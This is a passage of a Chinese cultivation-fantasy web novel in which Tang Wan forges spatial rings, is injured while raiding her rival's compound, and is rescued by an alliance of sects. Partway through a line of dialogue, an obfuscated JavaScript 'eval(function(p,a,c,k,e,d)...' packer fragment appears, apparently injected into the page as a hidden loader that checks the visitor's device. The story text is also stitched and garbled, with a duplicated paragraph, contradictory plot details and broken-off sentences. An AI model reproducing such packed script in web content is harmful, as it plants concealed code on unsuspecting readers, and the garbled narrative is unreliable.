丹药,价值十二万枚灵石,可以节省一年的修炼时间。一般的弟子和长老,根本购买不起。离开月轩台,一名黑衣影卫便向唐婉辞行,要前去黑市。“影卫!”唐婉将要离去的影卫叫住,意味深长的道:“一个月之后,我就要离开山门,返回秋池剑阁。但是,有一点我放心不下。”影卫盯着唐婉,道:“白宗主?”唐婉点了点头,道:“段云铮受了如此大的侮辱,肯定会报复宗主,甚至有可能会对宗主下杀手。”影卫道:“只要我还在天罡地煞宗门,必定会暗中守护白宗主,不会让段家的人害了她。”“得到你的一句承诺,我便放心了!”唐婉笑道。影卫不再多说一个字,向着山门外走去,只留下一个孤独而傲然的背影。唐婉一直觉得,从段云铮手中夺回宗门尊严,是自己做的最划算的买卖。看来只能将希望寄托在空间戒指上面,只要能够炼制出一枚空间戒指,绝对可以轻轻松松的赚够十一万枚。我现在已经达到化境段,淡的诸神之力,应该可以将张型铭纹和缩型铭纹刻画出来了。”八大基础空间铭纹,前面六种铭纹,唐婉早就已经能够刻画出来。唯独只有张型铭纹和缩型铭纹很难刻画,一直都无法刻画成功。 要知道,唐婉的精神力十分强大,达到了三十二阶。所以说,她以前刻画不出张型空间铭纹和缩型空间铭纹,并不是因为精神力不够强,而是体内的真气不够深厚。现在,她的修为达到化境段,真气猛增,自然就有更大的把握将张型空间铭纹和缩型空间铭纹刻画出来。想到此处,唐婉便迫不及待起来,立即赶回烟柳阁。唐婉心情大好,正欲继续炼器,忽然感到门外有人靠近。她收起戒指,推开静室的门,只见一名约莫十七八岁的少女正立在门外。这姑娘见唐婉出来,也不怯场,只将手中一个沉甸甸的包袱递上,声音清脆如黄莺出谷:“唐师姐,这是库房送过来的灵石,据说是你在巴山猎杀蛮兽兑换的钱财。哦!”唐婉的心头一喜,立即将包袱接过来,感觉还颇为沉重。将包袱打开,看到里面的灵石,唐婉顿时开怀大笑。包袱里面装着一百四十三枚灵晶,六百七十枚灵石,加起来就是十四万三千六百七十枚灵石。要知道,唐婉在巴山,一共杀死了三头二阶兽,三十头一阶上等兽,一阶中等兽也是三十头以上,还有部分一阶下等兽。“我在巴山待了半个月,便赚到十四万三千六百七十枚灵石。这还是因为在库房兑换的原因,价格都偏低,若是拿到武市中去卖,价格估计会达到二十万枚灵石以上。”猎杀怪兽,看似相当赚钱,其实并不是那么容易。唐婉之所以能够猎杀到那么多怪兽,那是因为,巴山本来就是天罡地煞宗的狩猎场,圈养在巴山中的怪兽攻击力都不算强,而且也根本不会出现二阶上等的怪兽和三阶的怪兽,危险程度相对低。若是换做巴山山脉,或者是通溟河,别说是化境段初期的武者,就算是化境段大圆满的武者闯进去,想要在里面猎杀蛮兽赚钱,绝对是九死一生的事。初窥段极境和笃行段极境的武者,若是敢单独进入巴山山脉的深处,或者是通溟河的死亡河段,十之八九也会陨落。能够得到十四万三千六百七十枚灵石,唐婉已经相当满足,至少是凑够了交给段云铮的那一百万枚灵石。回到自己的住处,唐婉立即进入静室。她将一支铭笔取出,又将一张灵纸放在地上。“一定要刻画成功!”唐婉将真气注入铭笔,快速在灵纸上面刻画张型空间铭纹。达到化境段,唐婉明显感觉自己的动作更加流畅,落笔有印,仅仅只花费十个呼吸的时间,就将张型空间铭纹刻画成功。“哈哈!成功了,终于成功了!”唐婉又开始刻画缩型空间铭纹。这一次,她刻画的速度更快,只用了八个呼吸的时间,就刻画成功。唐婉继续在灵纸上面练习,当练习到第十次的时候,她只需要三个呼吸的时间就能将张型铭纹和缩型铭纹刻画成功。“八种基础空间铭纹全部刻画成功,真是太好了!引来第一次万仙共鸣,我的精神力似乎也提升了不少。也不知道,我的精神力达到多少阶了?”唐婉的心情大好,准备开始炼制空间戒指。上一次,她虽然炼制出一枚空间戒指,但是,当时她没有学会张型铭纹,无法扩张空间戒指的内空间。所以,那一枚空间戒指仅仅只是基础空间戒指,内空间相当狭小,只有一立方米,只能存放少量的物品。现在,她学会了张型铭纹和缩型铭纹,将会炼制出多大内空间的空间戒指?唐婉的心情大好,准备开始炼制空间戒指。 上一次,她虽然炼制出一枚空间戒指,但是,当时她没有学会张型铭纹,无法扩张空间戒指的内空间。 所以,那一枚空间戒指仅仅只是基础空间戒指,内空间相当狭小,只有一立方米,只能存放少量的物品。 现在,她学会了张型铭纹和缩型铭纹,将会炼制出多大内空间的空间戒指? 唐婉有些期待起来,立即将一枚雕刻着凤纹的白色戒指取出,捏在手中。第一步,先在白色戒指上面刻画空间铭纹。 唐婉花费不到一刻钟的时间,一口气刻完六道空间铭纹,无一失败,全部成功。 白色戒指的内部,构建出一座一立方米的内空间。 接下来,就是最关键的地方,刻画张型铭纹,扩展内空间的大小。 唐婉手持铭笔,小心翼翼的在白色凤戒上面刻画,笔画十分流畅,犹如行云流水。 “轰!” 张型铭纹刚刚刻画成功,空间戒指的内空间便立即开始膨胀。 唐婉能清晰地感觉到,那原本只有一方寸大小的空间,此刻正如同充气般迅速扩大,从一立方米,暴涨到五立方米,十立方米,直至稳定在一百立方米左右才停止下来。 “一百立方米!”唐婉眼中闪过一丝喜色。一百立方米的空间,足以装下堆积如山的灵石,甚至是小型的战争器械。这若是拿去黑市售卖,绝对能引起一阵疯抢。 她将真气收回,长舒了一口气。连续刻画铭纹,对真气的消耗极大,即便是她如今的修为,此刻也感到一阵疲惫。但她不敢休息,紧接着便开始刻画缩型铭纹。 缩型铭纹的作用,是将戒指的体积缩小,便于佩戴和隐藏。 这一次,唐婉的动作更加熟练。仅仅过了半盏茶的功夫,那枚原本指肚大小的凤戒,便缩小成了米粒般大小,若是不仔细看,还以为只是一件精美的微雕饰品。 唐婉将这枚微型的凤戒戴在发髻之上,以头发遮掩,外人根本无从察觉。 “有了这枚戒指,那能赚到一百万灵石。”唐婉喃喃自语,眼中闪烁着精光,“不过,一枚戒指还不够,肯定做好了万全的准备。我得再多炼制几枚,甚至尝试炼制更高级的储物袋。” 想到此处,唐婉不敢怠慢,立刻从储物袋中取出大量的空白玉戒和矿石材料,准备开始批量炼制。 时间一分一秒的流逝。 静室内,唐婉全神贯注,手中的铭笔飞舞,一道道玄奥的铭纹在戒指上亮起,又迅速隐没。 不知过了多久,静室的门被轻轻敲响。 “唐师妹,宗主请您去正殿议事。”门外传来一名女弟子的声音。 唐婉眉头微皱,收起手中的材料和半成品戒指,起身推开门。 门外是一名内门弟子,神色焦急:“唐师妹,出事了。影卫那边传来消息,段云铮的人在黑市发布了‘血杀令’,专门针对您。而且,段家似乎已经封锁了通往巴山夜雨城的要道,我们派出去打探消息的弟子,已经折了两个了。” 唐婉的眼神骤然一冷,杀意弥漫开来:“果然来了。” 她整理了一下衣衫,冷声道:“走,去正殿。” 正殿内,气氛凝重得几乎要滴出水来。 白梦秋端坐主位,脸色铁青。下方两侧,几位长老也是眉头紧锁,人人自危。 见到唐婉进来,白梦秋立刻道:“婉儿,段云铮果然是个睚眦必报的小人。他不仅悬赏你的头颅,还派人去雨韵剑宗送信,污蔑你勾结魔道,偷袭同门,手段卑劣至极,但段云铮承诺给到的一百万枚已到账。” “陆青烟那边可有消息?”唐婉沉声问道。 “还没有。”白梦秋叹了口气,“巴山夜雨城距离此地千里之遥,飞鸽传书也需要三日。若是陆青烟和白浅此刻正在闭关,恐怕一时半会儿联系不上。” “段云铮这是要断了我的后路。”唐婉冷笑一声,“他算准了宗门如今势弱,孤立无援。” “宗主,”唐婉转向白梦秋,“我们不能坐以待毙。段云铮既然敢封锁要道,说明他已经做好了全面开战的准备。我们必须先发制人。” “如何先发制人?”一名长老忧心忡忡道,“段家高手如云,我们硬拼,无异于以卵击石。” “硬拼自然不行。”唐婉眼中闪过一丝狡黠,“我们要智取。段云铮现在肯定以为我们会龟缩不出,等待雨韵剑宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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的救援。但他错了。”她走到大殿中央,指着沙盘上的地形道:“段家在巴山南麓,势力庞大。但他们这次只来了少主和几名随从,身边的高手并不多。而且,段云铮受了如此奇耻大辱,此刻必定暴怒,失去了理智。”“您的意思是?”白梦秋似乎想到了什么。“斩首!”唐婉吐出两个字,杀气凛然,“擒贼先擒王。只要杀了段云铮,段家群龙无首,自然会陷入内乱。到时候,别说是一百万灵石,就是我们去巴山南麓,他们也未必敢拦。”“这太危险了!”白梦秋立刻反对,“段云铮身边虽然没有大批高手,但肯定有贴身护卫。而且他本人即将突破化境段,你若是去了,岂不是羊入虎口?”“宗主放心。”唐婉自信一笑,“我既然敢去,自然有把握全身而退。而且,我也不是一个人去。”她看向殿外,只见那名黑衣影卫不知何时已经站在了门口,如同融入阴影的一部分。“影卫组织,虽然人数不多,但个个都是以一当十的顶尖杀手。再加上我新炼制的空间戒指和一些特殊的丹药,杀段云铮,足够了。”白梦秋看着唐婉坚定的眼神,心中百感交集。她知道,唐婉是为了宗门,为了她,才甘愿以身犯险。“好吧。”白梦秋终于点头,“万事小心。若事不可为,立刻撤退,宗门永远是你的后盾。”“是!”唐婉领命,转身离去。她的背影决绝而坚定,没有丝毫犹豫。当夜,月黑风高。唐婉换上了一身黑色的紧身夜行衣,将长发束起,整个人显得干练而冷酷。她将炼制好的几枚空间戒指挂在腰间,里面装满了各种丹药、符箓和暗器。那名黑衣影卫也换上了同样的装束,无声无息地站在她身后。“出发。”两道黑影如同鬼魅般掠出地隐门,向着段云铮离去的方向追去。夜色,成为了她们最好的掩护。与此同时,距离地隐门三百里外的一处荒废古庙中。段云铮正盘膝坐在蒲团之上,疯狂地吞噬着丹药,炼化着灵气。他全身的皮肤都变成了血红色,一股暴虐的气息从体内散发出来,周围的空气都仿佛被煮沸了一般。“唐婉,白梦秋,你们等着!”段云铮面目狰狞,咬牙切齿,“等我突破化境段,就是你们的死期!”“少主,您已经服下了第三枚玄血丹了,再服下去,身体会承受不住的。”身旁的心腹女弟子担忧道。“闭嘴!”段云铮怒吼,“我等不了那么久了!那个贱人肯定已经在来杀我的路上了!我必须在她赶到之前,突破化境段!”他一把抓起第四枚玄血丹,毫不犹豫地吞入口中。轰!一股恐怖的药力在体内炸开,段云铮的身体剧烈颤抖起来,皮肤开裂,鲜血直流。但他却发出野兽般的咆哮,死死地压制着那股即将失控的力量。他知道,这是一场赌博。赌赢了,他便是段家年轻一代第一人,前途无量。赌输了,便是经脉尽断,修为尽废。但他别无选择。三天后,巴山南麓,段家别院。唐婉和影卫隐藏在树林之中,远远地观察着那座守卫森严的别院。“唐师妹,别院内有三位化境段高手坐镇,还有十多位笃行段巅峰的护卫。硬闯的话,我们没有任何胜算。”影卫低声道。“谁说要硬闯了?”唐婉嘴角勾起一抹冷笑,“段云铮现在肯定在拼命突破。这个时候,他的心神是最脆弱的。我们只需要一个人,潜入进去,制造混乱,引开守卫,然后我趁机潜入他的密室。”“我去。”影卫毫不犹豫道,“我的身法最快,即便被发现,也能全身而退。”“好。”唐婉点头,“小心行事。”影卫点点头,身形一闪,如同幽灵般穿过树林,向着别院摸去。不多时,别院内突然火光冲天,警报声响彻云霄。唐婉抓住这个机会,身形一动,如同黑色的闪电,悄无声息地潜入了别院之中。她避开巡逻的守卫,凭借着强大的神识感知,很快就找到了段云铮所在的密室。密室大门紧闭,门外站着两名气息浑厚的老者,显然是化境段的高手。唐婉藏在房梁之上,屏住呼吸,从空间戒指中取出一张符箓。“爆炎符!”她屈指一弹,符箓化作一道流光,击中了走廊尽头的一根柱子。“轰隆!”剧烈的爆炸声响起,两名老者脸色一变,立刻向着爆炸地点冲去。唐婉身形落下,一脚踹开密室的大门。密室之内,段云铮正赤裸着上身,盘膝坐在血池之中。一股令人心悸的气息从他体内散发出来。“谁!”段云铮猛地睁开双眼,眼中红光闪烁。当他看到来人是唐婉时,先是一愣,随即发出了疯狂的咆哮:“唐婉!你果然来了!天堂有路你不走,地狱无门你闯进来!正好,等我突破化境段,就拿你的血来祭剑!”“突破化境段?”唐婉冷笑一声,手中出现一柄通体漆黑的短剑,剑身上散发着令人作呕的腥气,“你以为,我会给你这个机会吗?”“死!”唐婉身形一闪,化作一道黑色的残影,直刺段云铮的心脏。段云铮怒吼一声,一拳轰出。拳风浩荡,带着浓重的血腥气,竟然隐隐有风雷之声。“化境段巅峰!”唐婉心中一惊,没想到段云铮竟然真的突破了。但她没有退缩,手中的黑剑一抖,化作万千剑影,将段云铮全身要害笼罩。“叮叮叮!”剑光与拳影不断碰撞,火花四溅。段云铮虽然修为暴涨,但毕竟是依靠丹药强行提升,根基不稳,招式破绽百出。而唐婉的剑法却是精妙绝伦,每一剑都直指要害。几十回合下来,段云铮身上已经多了几道伤口,鲜血淋漓。“我要杀了你!”段云铮彻底疯狂了,他猛地咬破舌尖,喷出一口精血在拳头上,一拳轰向唐婉。这一拳,蕴含着燃烧精血的力量,威力比之前强了数倍不止。唐婉不敢硬接,身形向后飘退。就在这时,段云铮突然狞笑一声:“你以为,我就没有准备吗?”他猛地从血池中跃出,一拳击碎了身后的墙壁。墙壁后面,竟然藏着一名身穿黑袍的老者。老者枯瘦如柴,眼窝深陷。“魔教长老!”唐婉脸色一变,“段云铮,你竟然勾结魔教!”“哈哈哈!”段云铮大笑,“成王败寇,管他什么魔道!老祖,杀了她!把她碎尸万段!”那黑袍老者发出一声尖锐的怪笑,干枯的手爪如同鹰爪般,抓向唐婉。一股腐朽的气息扑面而来,唐婉只觉得全身真气一滞,竟然有些运转不畅。“好厉害的魔功!”唐婉心中警铃大作,知道遇到了硬茬子。她不敢大意,立刻催动全身真气,手中的黑剑爆发出璀璨的光芒。“斩!”一剑挥出,剑气如虹,撕裂了空气。黑袍老者怪笑一声,不闪不避,竟然直接用身体硬接了这一剑。“嗤!”剑气划破了老者的黑袍,却只在他的皮肤上留下了一道白痕,连皮肉都没有伤到。“哈哈哈,小丫头,你的剑太软了!”黑袍老者得意地大笑,手爪如电,瞬间扣向唐婉的咽喉。唐婉大惊,急忙向后退去,却撞上了一个人。是段云铮!“受死吧!”段云铮面目狰狞,一拳轰在唐婉的后背上。“噗!”唐婉喷出一口鲜血,身体如同断线的风筝般飞了出去,重重地撞在墙上“咳咳”她挣扎着想要站起来,却发现全身骨骼仿佛碎裂了一般,剧痛难忍。段云铮一步步走近,脸上带着残忍的笑容:“唐婉,你也有今天!”他抬起脚,狠狠地踩向唐婉的胸口。就在这一瞬间,唐婉的眼中闪过一丝决绝。“段云铮,你以为,你赢了吗?”她猛地从怀中掏出了一枚早就准备好的玉符,狠狠地捏碎。“嗡!”一道耀眼的光芒从玉符中爆发出来,化作一个巨大的金色手掌,拍向段云铮和黑袍老者。“这是天阶符箓!”黑袍老者脸色大变,发出一声惊呼。“轰!”巨大的爆炸声响彻整个别院。强大的冲击波将一切都夷为平地。唐婉借着这股冲击力,勉强站起身,踉跄着向外跑去。她知道,这一击,就算杀不死段云铮,也足以让他重伤。但她也付出了惨重的代价,修为受损,经脉断裂。她必须尽快离开这里,否则,等段云铮缓过气来,她就真的死定了。天罡地煞宗烟柳阁。白梦秋松了一口气,随即又紧张起来。她知道,这场风波,还远远没有结束。段云铮重伤,段家必定会疯狂报复。而唐婉重伤,宗门失去了一大助力。真正的考验,现在才刚刚开始。一个月后。巴山夜雨城,雨韵剑宗。一名身穿白衣的女子,正站在悬崖边上,眺望远方。她面容清冷,气质出尘,正是陆青烟。她收到了唐婉的飞鸽传书,得知了地隐门的危机。“段家?”陆青烟眼中闪过一丝寒光,“若是你们敢动唐婉师姐一根汗毛,我便让你们段家,从巴山南麓,彻底除名!”她转过身,对着身后的虚空冷声道:“白浅,准备一下,我们去地隐门!”“是,师姐。,”虚空中,一个清脆的女声传来。两道流光,划破长空,向着地隐门的方向疾驰而去。 64. 五岳盟成烟雨醉 静室之中,灯火如豆唐婉躺在玉床之上,面色苍白如纸。她身上那些狰狞的伤口虽已被白梦秋以灵药敷好,但经脉受损严重,真气涣散,修为已跌至初窥段。每一就在此时,窗外夜雨骤急。 雨点敲打着青瓦,发出清脆的声响。一股清冷而熟悉的剑气,穿过雨幕,穿透护山大阵,轻柔地笼罩了整个烟柳阁。 白梦秋猛地抬头。 静室的门被轻轻推开。 夜风卷着雨丝涌入,吹动烛火摇曳。门口立着两道身影,一白一红,皆被雨水打湿了衣衫,发梢还滴着水珠。 白衣女子面容清冷如雪,眉眼间却带着长途奔波的疲惫与深切的焦急。她是陆青烟。红衣少女则紧抿着唇,一双灵动的眼睛此刻盛满了担忧,她是白浅。 “唐师姐!”白浅第一个冲进来,扑到床边,想碰触唐婉又怕弄疼她,手悬在半空,声音都变了调,“她怎么会?”陆青烟走得慢些,每一步却都沉重。她来到床前,看着唐婉毫无血色的脸,看着她脖颈、手臂上那些包扎好的伤口,周身剑气不受控制地迸发出来,切割得空气都发出嘶鸣。“谁伤的?”陆青烟的声音平静得可怕,可那双总是温润的眸子里,此刻翻涌着骇人的寒意。“段云铮。”白梦秋哑声道,“婉儿为退敌,潜入段家别院” “她一个人去的?”陆青烟打断她,目光终于从唐婉脸上移开,看向白梦秋。 白梦秋在她平静的注视下竟感到一丝压力,艰难点头:“影卫本想同去,被她拦下了。她说?这是她惹的事,该由她来了结。” “胡闹!”陆青烟闭了闭眼,再睁开时,眼里只剩下沉沉的心痛。她伸出手,指尖轻轻拂过唐婉紧蹙的眉心,动作是前所未有的温柔,“总是这样总想一个人扛下所有。” 白浅已快速检查了唐婉的伤势,脸色越来越白:“经脉断了七成,气海受损,神魂震荡她是怎么撑着回来的?” “靠一口气。”白梦秋泪如雨下,“影卫在百里外的山洞找到她时,她已经昏迷,手里还死死攥着段家别院的令牌。” 室内陷入沉默,只有窗外夜雨淅沥。 良久,陆青烟收回手,从怀中取出一个玉瓶,倒出一枚晶莹剔透、散发着清香的丹药。丹药出现的瞬间,满室生香,连烛火都明亮了几分。 “九转还魂丹?!”白梦秋失声道,“这可是能肉白骨、愈神魂的圣药,青烟你?” “本就是要给她的。”陆青烟轻轻扶起唐婉,将丹药喂入她口中,以真气助其化开,“在巴山夜雨城得了机缘,一共只得三枚。我和白浅各服一枚破境,这一枚,我一直留着。” 丹药入腹,唐婉惨白的脸上终于泛起一丝极淡的血色,呼吸也平稳了些许。 白浅立刻握住唐婉另一只手,将精纯温和的真气缓缓渡入,帮她梳理体内乱窜的药力。她的真气与陆青烟的清冷不同,带着火焰般的温暖与生机,小心地温养着那些断裂的经脉。 “段家不会善罢甘休。”陆青烟站起身,走到窗边,望着外面漆黑的雨夜,“我和白浅回来时,察觉到不下十股强大的气息在向地隐门靠近,其中有三道,已臻天阶。” 白梦秋脸色一白。 “宗主不必忧心。”白浅头也不抬,专注地为唐婉疗伤,声音却坚定,“我们既然回来了,就不会让任何人再动唐师姐,动地隐门分毫。” “凭我们三人,挡不住。”陆青烟很冷静。 “所以,”她转过身,雨夜的微光勾勒出她清瘦却挺拔的身影,“我已传讯回巴山夜雨城。最迟明晨,援兵必至。” 白梦秋愣住了:“巴山夜雨城?可我们与城主府素无深交。”“现在有了。”陆青烟淡淡道,“唐婉是巴山夜雨城白望春城主新任命的。我入城后,持唐师姐的信物求见,已得城主承诺巴山夜雨城,与地隐门同进退。” 就在这时,窗外雨声中传来破空之音,不止一道。数道强大的气息由远及近,毫不掩饰地降临在地隐门上空。护山大阵发出不堪重负的呻吟。“来了。”白浅抬起头,眼中闪过厉色。 陆青烟按住了她的肩:“你守着婉儿,我去。” “浅浅。”陆青烟看着她,声音缓下来,“她现在最需要你。你的真气属性,最能助她稳住伤势。” 白浅咬了咬唇,看着床上气息微弱的唐婉,终是重重点头:“好。你去,我守着她。” 陆青烟深深看了唐婉一眼,转身,推门步入夜雨之中。 白梦秋紧随其后。 烟柳阁外的广场上,已立着数道身影。来者皆着黑衣,胸口绣着狰狞的鬼首图腾——段家影杀堂的精锐。为首是三名老妪,面容枯槁,眼神阴鸷,周身气息如渊似海,正是段家那三位天阶长老。 “白梦秋,交出伤我少主的凶手,解散地隐门,可饶你等不死。”中间的老妪森然开口,声音沙哑如铁石摩擦。 夜雨打湿了她的白衣,贴在身上,勾勒出清瘦的线条。她手中无剑,只是静静立在那里,却让那三位天阶长老同时眯起了眼睛。“秋池剑意,你是秋池剑阁的人?”左侧老妪冷声道,“秋池剑阁也要插手我段家私事?”“她的事,就是我的事。”陆青烟的声音透过雨幕传来,清晰而平静,“至于地隐门——从今日起,受巴山夜雨城庇护。动此地,便是与夜雨城为敌。” “笑话!”右侧老妪嗤笑,“巴山夜雨城会为了你们这破落宗门,与我段家开战?” 她话音未落,天边骤然亮起。不是一道光,而是无数道。东方的天际,剑气如细雨,绵密无声却笼罩四野,那是雨韵剑宗的剑修,为首的正是陆青烟的师叔,徽雨院主陆徽。她撑着一把油纸伞,凌空而立,伞沿雨水串成珠帘。西方的夜空,肃杀之气割裂雨幕,七道黑衣身影如幽灵显现——秋池剑阁的“寒池七杀”到了,个个面覆轻纱,只露出一双冰冷无情的眼睛。南方的山巅,金光破开乌云,神圣庄严的气息驱散了夜的阴寒——恒古神殿的女祭司们手持权杖,法袍在风中飞扬。 而正北方的雨夜中,一艘巨大的楼船破开云层,缓缓降临。楼船雕梁画栋,灯火通明,船头立着数道身影。居中一人身着玄色宫装,头戴玉冠,面容雍容威严,看上去三十许岁,正是巴山夜雨城城主——白望春。她身后跟着五位气质各异的女子,正是夜雨城五位实权区主。 “夜雨城主”段家三位长老脸色终于变了。 白望春目光淡淡扫过下方,在陆青烟身上略停一瞬,微微颔首,随即看向段家众人。 “段家越界了。”白望春的声音不大,却清晰传入每个人耳中,“巴山北境,是我夜雨城辖地。地隐门既已受我城庇护,你们在此动兵,是不将我白望春放在眼里?”“白城主,”中间的老妪沉声道,“地隐门伤我少主在先,此事乃私仇!”“私仇?”白望春轻笑一声,笑意却不达眼底,“调动影杀堂精锐,携‘碎天弩’压境,这是私仇?依我看,你们是看上了巴山北境的灵脉,想拿地隐门开刀吧。”她顿了顿,目光扫过烟柳阁的方向,语气中多了一丝真切的冷意:“更何况,唐婉是我夜雨城商风区副区主,虽暂离职位在外历练,仍是我城中人。你们动她,便是动我夜雨城的脸面。”此言一出,不仅段家众人,连白梦秋都愣住了。她只知道唐婉在巴山夜雨城有些际遇,却不知她竟已有了副区主这等实权职位。白望春不再多言,一挥手:“今日,本城主把话放在这里”护山大阵的压力骤消。白望春并未立即离去,楼船缓缓降落在广场上。她带着五位区主走下船,陆青烟与白梦秋上前相迎。“白城主今日之恩,地隐门永世不忘。”白梦秋深深一礼。白望春扶起她,目光扫过在场众人——雨韵剑宗陆徽、秋池剑阁若曦长老、恒古神殿甜蜜长老皆已走上前来。五位代表着地煞大陆五大势力的女性首领,在这夜雨初歇的时分,于地隐门广场上首次齐聚。“段家虽退,其患未除。”白望春声音清朗,传遍四方,“今日机缘难得,不如趁此机会,将话说个明白。”她抬手示意,身后一名区主取出一套白玉酒具,另一人捧出一坛尚未启封的美酒。酒坛泥封揭开的刹那,清冽中带着一丝凛冽剑气的酒香弥漫开来,竟将战场残留的血腥气都冲淡了几分。“此酒名为‘烟雨醉’,取我巴山夜雨城千年茶树下埋藏的‘夜雨茶’为基,辅以秋池剑阁的‘寒池水’、雨韵剑宗的‘剑韵草’、恒古神殿的‘神庭花’,以及地隐门特产的‘地脉果’酿制而成。”白望春亲手将琥珀色的酒液注入五只玉杯,“今日五派齐聚,共饮此酒,如何?”白梦秋看着那杯中荡漾的酒液,心中百感交集。她接过酒杯,与另外四人相视点头。陆徽手持玉杯,眼中闪过感慨之色:“自三百年前正邪大战后,五大派已许久未曾如此同心。”若曦长老面容清冷,语气却坚定:“秋池剑阁愿为此盟。”甜蜜长老金袍微动,声音温和却有力:“恒古神殿守护正道,义不容辞。”五人举杯,在无数目光注视下,将杯中“烟雨醉”一饮而尽。酒液入喉,初时凛冽如剑,继而温润如雨 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段家三位长老面色铁青。她们无论如何也想不到,为了一个区区地隐门,巴山夜雨城竟会做到如此地步,甚至联合了另外三大势力!更没想到唐婉竟有这等身份! 如今局势,已非她们三人能决断。 “此事,段家记下了。”中间的老妪咬牙道,深深看了陆青烟和白梦秋一眼,一挥手,“撤!” 影杀堂众人如潮水般退去,消失在夜雨之中。护山大阵的压力骤消。 白望春并未离去,楼船缓缓降落在广场上。她带着五位区主走下船,来到陆青烟面前。 “青烟姑娘,唐副区主如何了?”白望春问道,语气中带着真切的关切。 “服了九转还魂丹,白浅在为她疗伤。”陆青烟行礼道,“多谢城主今日解围。” “不必谢我。”白望春摇头,目光望向烟柳阁的方向,眼中掠过一丝复杂的情绪,“唐婉这孩子,是我看着在商风区一步步站稳脚跟的。她聪慧果决,有胆有识,假以时日必成大器。更难得的是重情重义,为护宗门甘冒奇险——这样的人,我夜雨城自然要护。” 她顿了顿,神色严肃起来:“五岳剑盟不是儿戏,从今日起,你们真正站在了风口浪尖。段家不会罢休,黑市和魔教,也会将你们视为眼中钉。” “我们明白。”陆青烟平静道。 “明白就好。”白望春拍了拍她的肩,留下一位精通医术的区主协助,便带着其余人乘船离去。 其余三大势力的人也各自留下联络之人,相继撤走。 一场滔天风波,暂时平息。 雨渐渐小了。 陆青烟回到静室时,白浅仍握着唐婉的手,专心渡着真气。唐婉的脸色好了许多,呼吸均匀,陷入深沉的睡眠。 “她怎么样了?”陆青烟轻声问。 “经脉接上了三成,气海稳住了,但修为……”白浅顿了顿,声音发涩,“怕是要从头再来。” “能活着就好。”陆青烟在床边坐下,轻轻握住唐婉另一只手,“修为没了,可以再练。人没了,就真的什么都没了。” 白浅抬眼看向她,看到陆青烟眼中深藏的后怕与疲惫。这个总是冷静自持的女子,此刻终于流露出一丝脆弱。 “你怕了?”白浅问。 “怕。”陆青烟承认得很干脆,“我怕来不及,怕救不回她,怕这世上再也没有这个人。” 白浅沉默片刻,低声道:“我也怕。” 两个少女守在床边,守着她们共同在意的人。窗外的雨声渐渐沥沥,秋池涨满了水,倒映着室内的灯火与她们交握的手。 不知过了多久,唐婉的睫毛颤了颤,缓缓睁开眼。视线模糊,逐渐清晰。她看到陆青烟沉静的侧脸,看到白浅惊喜的眼神。“我没死?”她声音嘶哑。“有我们在,你怎么敢死。”白浅红着眼圈,却笑着骂她。 陆青烟没有说话,只是将她的手握得更紧了些,紧到微微颤抖。 唐婉看着她们,看着她们眼中的血丝与担忧,看着窗外渐歇的夜雨,忽然轻轻笑了。 “巴山夜雨涨秋池”她喃喃。“一梦入仙途,再梦遇卿。”陆青烟低声接上。白浅握住她另一只手,三人的手交叠在一起。“下次,”白浅瞪着唐婉,“不准再一个人去。”唐婉看着她们,看着这漫长仙途上,最珍贵的相遇与羁绊,终是轻轻点头。“好。”夜雨停歇,天将破晓。而她们的仙途,她们的梦,她们的缘,还将继续。